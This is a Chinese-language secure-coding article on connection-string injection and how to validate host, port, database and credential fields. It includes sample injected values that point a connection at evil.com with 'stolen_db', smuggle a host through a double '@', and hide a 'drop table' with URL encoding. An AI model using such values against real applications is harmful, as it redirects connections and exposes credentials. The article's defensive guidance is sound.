数据库连接字符串拼接用户输入会触发连接劫持而非SQL语法错误,攻击者可篡改host、port、user、password等参数,导致应用连错库、泄露凭证甚至写入恶意数据库。

数据库连接字符串拼接用户输入会触发什么错误
它不会报 SQL syntax error,也不会在执行查询时被拦截——因为连接阶段根本还没走到 SQL 解析器。但攻击者可以借此完成更底层的劫持:比如把 host=localhost;port=3306;user=admin;password=123456 改成 host=evil.com;port=3307;user=attacker;password=;database=stolen_db,直接让应用连错库、写错表、甚至把凭证暴露给恶意服务器。
哪些地方容易误以为“连接串不执行SQL,所以安全”
常见误判场景包括:
- 登录页允许用户填写自定义数据库地址(如内网调试工具、多租户管理后台)
- 命令行脚本用
os.environ或sys.argv拼接连接参数后传给create_engine()(Python)或DriverManager.getConnection()(Java) - 配置中心动态注入连接信息,但未校验
host、database字段是否含分号、反斜杠、URL 编码绕过字符
这些位置一旦放开拼接,就等于把数据库的“门锁钥匙”交到用户手上——而门锁本身(如 MySQL 的 skip-grant-tables 或 PostgreSQL 的 pg_hba.conf 配置)可能早已被绕过。
mysql:// 和 postgresql:// URL 中哪些字符必须严格过滤
URL 格式本身支持特殊字符,但解析器对它们的处理并不统一。以下字符在连接串中极易引发意外交互:
-
@:用于分隔用户密码与 host,若用户输入admin:pass@evil.com@localhost,部分驱动会取第一个@前为 credential,第二个@后为 host,导致连接目标偏移 -
;:某些 JDBC 驱动(如旧版 MySQL Connector/J)会将分号后内容当作额外参数,可能开启allowUrlInLocalInfile=true等危险选项 -
%:URL 编码字符,如%3B(分号)、%2F(/),可绕过前端简单正则过滤 -
\:Windows 路径中若混入双反斜杠,可能干扰本地 socket 连接路径解析(如socket=/var/run/mysqld/mysqld.sock\)
不要依赖“只允许字母数字”的粗暴过滤——localhost:3306 是合法 host,my-db-123 是合法 database 名,但 my-db-123%3Bdrop+table+users 就不是。
真正安全的连接串构造方式
核心原则:连接参数 ≠ 用户输入。所有来自用户的值,必须经过白名单校验或强制类型转换,再填入预定义模板:
- host 必须通过
socket.gethostbyname()或 DNS 解析验证可达性,且仅接受 IPv4/IPv6 地址或明确授权的域名(如^db-[0-9]+.prod.example.com$) - port 必须是整数且在 1–65535 范围内,拒绝字符串形式的端口(如
"3306;SELECT 1") - database 名需匹配
^[a-zA-Z_][a-zA-Z0-9_]{0,63}$,且不能是information_schema、mysql、performance_schema等系统库名 - 绝不在任何环节使用
"mysql://" + user_host + ":" + user_port + "/" + user_db这类拼接,改用标准 URL 构建库(如 Python 的urllib.parse.urlunparse)并禁用自由参数注入
最常被忽略的一点:连接串里出现的 user 和 password,哪怕只是用于测试,也绝不能从 HTTP 请求体、Query 参数或 Cookie 中直接读取——它们属于最高敏感级凭据,应走独立凭证服务或环境变量注入,并启用连接池级别的凭据轮换机制。

















